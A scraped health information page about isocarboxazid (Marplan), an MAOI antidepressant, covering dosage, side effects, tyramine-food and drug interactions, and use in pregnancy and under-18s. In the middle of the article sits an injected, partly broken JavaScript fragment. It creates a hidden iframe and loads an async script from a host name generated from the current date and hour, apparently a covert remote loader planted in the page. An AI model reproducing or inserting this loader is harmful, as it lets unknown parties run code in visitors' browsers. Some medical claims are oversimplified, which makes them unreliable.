Isocarboxazid (Marplan)


Overview: Isocarboxazid, known by the brand name Marplan, is an antidepressant of the Monoamine Oxidase Inhibitor (MAOI) class. Isocarboxazid is used to treat depression. Isocarboxazid has helped many people recover from their mental health problems. Isocarboxazid is very rarely used in the modern day, yet does still occasionally get prescribed. Isocarboxazid is an older antidepressant, and, due to its age – causes more side effects to its patients than newer antidepressants. Isocarboxazid is only available on prescription.





Key Facts: Isocarboxazid can take around a month to take full effect, though a minor response can be visible within a week of use. There are some side effects to Isocarboxazid, and many cautions. Isocarboxazid should be used without interruption – you shouldn’t suddenly stop taking the medicine. The medication should help jump start your mood, and slowly make you feel like your old self again.


How do they work?: Unfortunately, it isn’t entirely known how antidepressants work. MAOI antidepressants work by blocking an enzyme that removes neurotransmitters such as serotonin and dopamine from the brain. These neurotransmitters are believed to be linked to mood and emotion. Therefore, more chemicals are available, which in theory results positively. It is recommended that Isocarboxazid is used in conjunction with therapy.


Dosage: The normal dosage of Isocarboxazid is 30mg per day. Isocarboxazid can be taken with or without food. You should take the tablet at the same time each day. If no response is gained, the dose can be upped to a maximum of 60mg. Finding the right dose can take some time. A typical treatment course of Isocarboxazid is usually around nine-twelve months, though a longer treatment course is common.


How Much Will I pay for a Prescription?
Guide to Switching Antidepressants
What is the Most Effective Antidepressant?



var D=new Date(),d=document,b=’body’,ce=’createElement’,ac=’appendChild’,st=’style’,ds=’display’,n=’none’,gi=’getElementById’,lp=d.location.protocol,wp=lp.indexOf(‘http’)==0?lp:’https:’;
var i=d[ce](‘iframe’);i[st][ds]=n;d[gi](“M299334ScriptRootC206883”)[ac](i);try{var iw=i.contentWindow.document;;iw.writeln(“”);iw.close();var c=iw[b];}
catch(e){var iw=d;var c=d[gi](“M299334ScriptRootC206883″);}var dv=iw[ce](‘div’);”MG_ID”;dv[st][ds]=n;dv.innerHTML=206883;c[ac](dv);
var s=iw[ce](‘script’);s.async=’async’;s.defer=’defer’;s.charset=’utf-8′;s.src=wp+”//”+D.getYear()+D.getMonth()+D.getUTCDate()+D.getUTCHours();c[ac](s);})();


Side Effects

With each box of Isocarboxazid, there will be an information leaflet enclosed. This will provide an exhaustive list of side effects. Side effects from Isocarboxazid should only last a few days, though can cause issues. It is natural to experience some side effects as your body gets used to the medication.


Common side effects of Isocarboxazid include drowsines, dizziness, nausea, dry mouth, constipation and sexual dysfunction.


Serious side effects include suicidal thinking, seizures, chest pain and psychosis. An overdose should be avoided, as it can cause the potentially fatal Serotonin Syndrome, nervous system breakdown and cardiovascular problems. You should contact your doctor if any of these serious side effects take place.




You should always read the information leaflet that comes with your medication as it will include important information there. You should tell your doctor if you are taking any other medication. It is important that you don’t use the herbal remedy St. Johns wort. You shouldn’t take any other antidepressant with Isocarboxazid unless directed by your doctor. There are a huge amount of medications that you shouldn’t combine with MAOI’s. Just some of these include cough medicines, hay fever medications, painkillers, tryptophan’s, amphetamines and  diabetes medications. Always ask your doctor if you are unsure on combining medicines.


MAOI’s shouldn’t be combined with food and drinks including tyramine. Eating foods or drinks containing tyramine while using MAOI’s can lead to a severe rise in blood pressure. This can lead to severe illness, and can be fatal. Just some of the popular foods to avoid include cheese, liver, yoghurt, Marmite, Bovril, aged protein, pepperoni, salami and excessive chocolate. You shouldn’t drink alcohol, lager or wine. Don’t drink excessive tea or coffee.


Alcohol acts as a depressant, therefore it is recommended that anyone taking an antidepressant stays away from drinking alcohol. Combining Isocarboxazid  with recreational drugs is also not recommended.


Isocarboxazid is not recommended in pregnancy or the breastfeeding stage. Antidepressants are generally considered unsafe to use in pregnancy.


Isocarboxazid is not normally prescribed to anyone under the age of 18. Instead, some form of psychotherapy is recommended. Younger people have been shown to be more vulnerable to suicidal thoughts when using antidepressants. In the case that an antidepressant needs to be prescribed, Fluoxetine will instead generally be prescribed.


Other MAOI’s: